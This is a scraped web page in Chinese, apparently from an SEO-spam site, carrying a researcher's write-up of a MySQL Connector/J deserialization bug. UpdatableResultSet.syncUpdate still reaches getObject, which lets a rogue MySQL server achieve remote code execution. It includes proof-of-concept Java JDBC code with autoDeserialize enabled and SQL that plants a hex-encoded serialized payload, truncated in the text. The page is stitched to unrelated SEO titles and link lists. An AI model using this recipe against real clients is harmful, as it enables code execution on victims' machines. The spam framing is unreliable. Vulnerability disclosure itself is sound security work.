当前位置: 首页 > news >正文

如何做网站ppt网站搜索优化方法

如何做网站ppt,网站搜索优化方法,公众号做微网站吗,广告发光字制作培训班前言 经过与oracle官方沟通,在最新的mysql-connector-j 9.0.0里不存在这个问题,所以他们不认为这是个漏洞 不过确实,mysql-connector-java这个分支已经迁移到mysql-connector-j了,当时没注意,交的时候只注意了mysql-c…

前言

经过与oracle官方沟通,在最新的mysql-connector-j 9.0.0里不存在这个问题,所以他们不认为这是个漏洞
不过确实,mysql-connector-java这个分支已经迁移到mysql-connector-j了,当时没注意,交的时候只注意了mysql-connector-java 8.0.33确实是latest version

描述

在mysql jdbc反序列化漏洞出来之后,patch了ServerStatusDiffInterceptor的逻辑,让他没有调用getObject
但是我发现,在UpdatableResultSet的syncUpdate方法还是会调用到getObject

请添加图片描述

当时就搜了一下updateResultset的demo,然后跑了一下,发现都能直接调用到syncUpdate,然后就通了

poc

String url="jdbc:mysql://ip:port/test?autoDeserialize=true";
String username="root";
String password="test ";
DriverManager.getConnection(url,username,password); 
Statement stmt =
connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);
ResultSet rs = stmt.executeQuery("SELECT id,object FROM objects"); while (rs.next()) {rs.updateInt("object",1);}
rs.close(); stmt.close(); connection.close();

他这里的问题就是 不管你实际调用的updateInt还是updateString,他都会进入syncUpdate 然后getObject这个column,只要这个column我们填写恶意的反序列化数据,就可以反序列化
然后我们需要一个恶意的mysql服务器

CREATE TABLE `objects_table` ( `id` INT AUTO_INCREMENT,
`object` BLOB, PRIMARY KEY (`id`))
INSERT INTO `objects_table`(`object`) VALUES (UNHEX('ace.........16178'));

插入hex编码的反序列化payload,运行就可以rce

http://www.zhongyajixie.com/news/16795.html

相关文章:

  • 电子商务网站建设与管理程序设计题直播发布会
  • 深圳营销型网站建设搜狗收录批量查询
  • 私人订制网站有哪些2024年新闻摘抄十条
  • pinboard wordpress麒麟seo外推软件
  • 东莞网站制作方案定制专业做网站建设的公司
  • wordpress数据库无法连接企业网站优化排名
  • 网站做跳转营销外包
  • 怎么制作网站主题网络推广优化平台
  • 做网站用什么写网络推广方式有哪几种
  • 苏州专业网站设计制作公司seo网站推广费用
  • 濮阳做网站星月网络it培训机构排名前十
  • 莱西做网站关键词优化的主要工具
  • 西安做建站的公司百度口碑网
  • 万象园网站建设与开发seo排名优化关键词
  • com一级域名武汉百度搜索优化
  • 厦门专业做网站的网站制作软件
  • 网站建设是广告吗windows优化大师是什么软件
  • 信誉好的常州网站建设查网址
  • 沈阳做网站seo烟台seo外包
  • 静态网站被挂马编程培训
  • c++可以做网站吗站长工具seo排名查询
  • 设计产品网站推荐宿州百度seo排名软件
  • 怎么建设影视卡网站营销策划的重要性
  • 南昌网站建设公司好么网络营销环境分析包括哪些内容
  • 百度手机网站制作长沙网站seo排名
  • 南皮县做网站外包客服平台
  • 用dw做网站怎么给链接肇庆seo优化
  • 网站开发公司tahmwlkj免费网站或软件
  • 设计网站大全扣西湖南岚鸿首选网络推广的主要工作内容
  • 大良营销网站建设流程百度关键词怎么设置